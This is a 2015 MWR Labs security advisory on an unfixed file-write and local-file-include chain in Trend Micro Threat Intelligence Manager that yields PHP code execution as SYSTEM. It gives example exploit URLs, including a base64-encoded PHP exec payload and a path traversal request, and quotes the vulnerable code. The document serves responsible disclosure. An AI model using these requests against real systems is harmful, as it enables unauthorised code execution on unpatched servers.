Arbitrary Code Execution

30/12/2015

Software:	Threat Intelligence Manager (TIM)
Affected Versions:	V1
CVE Reference:	Not Assigned Yet
Author:	Benjamin Harris - MWR Labs (http://labs.mwrinfosecurity.com/)
Vendor:	Trend Micro
Vendor Response:	Will not fix

Description

The Threat Intelligence Manager (TIM) PHP interface exposes a file called `write_image.php` which requires authentication to access and takes 2 parameters:

- filename
- bdata

The `filename` parameter is used to specify the filename that is to be written, and the parameter `bdata` takes a base64 encoded string which is then decoded and written as the contents to the previously specified filename.

This file is written to the Windows TEMP folder (on Windows 7, this is C:\Windows\TEMP) and it is not possible to traverse out of this directory, due to the use of `pathinfo()['basename']` to obtain the filename as user input is not trusted.

Using this vulnerability, it is possible to write an arbitrary file called `Proxy.php` in `C:\Windows\TEMP`.

An example request exploiting this vulnerability is shown below:

```
https://HOST/middleware_rev/handlers/chart_image_render/details/write_image.php?filename=Proxy.php&bdata=PD9waHAKZXhlYygid2hvYW1pID4gQzovd2hvYW1pLnR4dCIpOwo/Pg==
```

In addition, the TIM interface also exposes a file called `widget_framework2/proxy_controller.php` which allows for the inclusion and execution of a local PHP file to an authenticated user via system().

An example URL used to exploit this is shown below.

```
https://HOST/widget_framework2/proxy_controller.php?module=../../../../../../../../../../../../../../../../../../../../../../../../Windows/Temp
```

Impact

Together with [1], the vulnerabilities described in this advisory would allow an attacker to achieve arbitrary PHP code execution by chaining them in this sequence:

1. Access to authenticated functionality by an unauthenticated user [1]
2. Write an arbitrary `Proxy.php` file to the local TEMP file directory (this advisory)
3. Execute arbitrary code in `Proxy.php` as 'NT AUTHORITY/SYSTEM' by traversing to TEMP directory (this advisory)

Solution

It is recommended that access to the management interface of Trend Micro's Threat Intelligence Manager is heavily restricted as no patch is/will be available.

Trend Micro's official response to this vulnerability can be found as follows:

"*Thank you for your patience and continuously working with the Trend Micro Vulnerability Response team.*

The Trend Micro Threat Intelligence Manager (TIM) has reached its end-of-life, and unfortunately addressing the vulnerabilities you submitted would require substantial efforts to re-architect or build an entirely new product. We strongly recommend our TIM customers to contact sales for further options on a suitable replacement if this is a concern for them."

Technical details

The details for the arbitrary `Proxy.php` file write and arbitrary `Proxy.php` file include issues are described below.

Arbitrary `Proxy.php` File Write

Post-authentication, the application takes 2 variables with which it determines file name and contents:

- $_REQUEST['filename']
- $_REQUEST['bdata]

As can be seen from the affected code below, no restrictions are made on file extension or file contents, and are immediately placed into the temporary folder as determined by `get_temp_path()`.

```
if (!isset($_REQUEST['filename']) || !isset($_REQUEST['bdata'])) {
……
}
```

```
// We check the path here again. Want to avoid any security issues
$filename = $_REQUEST['filename'];
$info = pathinfo($filename);
$temp_path = '';
if (get_temp_path($temp_path) != ZG_RENDER_OK) {
    $logger->log(ZG_LOG_ERR, '', "Cannot get temp folder. Exiting.");
    return;
}

if ($temp_path != $info['dirname']) {
    $logger->log(ZG_LOG_WARNING, '', "Temp folder is not consistent! Use %s.", $temp_path);
    $filename = $temp_path . "\\" . $info['basename'];
}

.....

if (isset($_REQUEST['bdata'])) {
        $fp = fopen($filename, "w");
        fwrite($fp, base64_decode($_REQUEST['bdata']));
        fclose($fp);
}
```

Arbitrary `Proxy.php` File Include

The `widget_framework2/proxy_controller.php` file takes a 'module' parameter which is used to build up a file path. The code below shows how the `$_REQUEST['module']` variable is built into a file path and is then included.

The vulnerable code is presented below:

```
<?php
        require_once(dirname(__FILE__)."/inc/session_auth.php");
        // we don't have to update $_SESSION
        ob_start(); // we buffer everything, because we need to update $_SESSION anytime
        session_write_close();

<snip>
        mydebug_log("[PROXY-REQUEST] starting");
        /* check module */
        $server_module = $_REQUEST['module'];
        mydebug_log("[PROXY-REQUEST] module: ".$server_module);

<snip>
        $myproxy_file = $strProxyDir."/".$server_module."/Proxy.php";
        // does file exist?
        if( file_exists($myproxy_file) ) {
                include($myproxy_file);
```

Detailed Timeline

Date:	Summary:
24/7/2015	Vulnerability documented
30/7/2015	Trend Micro contacted via security@trendmicro.com
31/7/2015	5 advisories sent to Trend Micro with provided PGP key
10/9/2015	MWR disclosure timeline requested due to internal discussions at Trend Micro RE: remediation
20/10/2015	MWR request update from Trend Micro
12/11/2015	Trend Micro issue statement and request coordinated disclosure on 17th November 2015
30/12/2015	MWR publish advisories.

Reference

[1] mwri-advisory_trendmicro-threat-intelligence-manager_partial-authentication-bypass_v3.pdf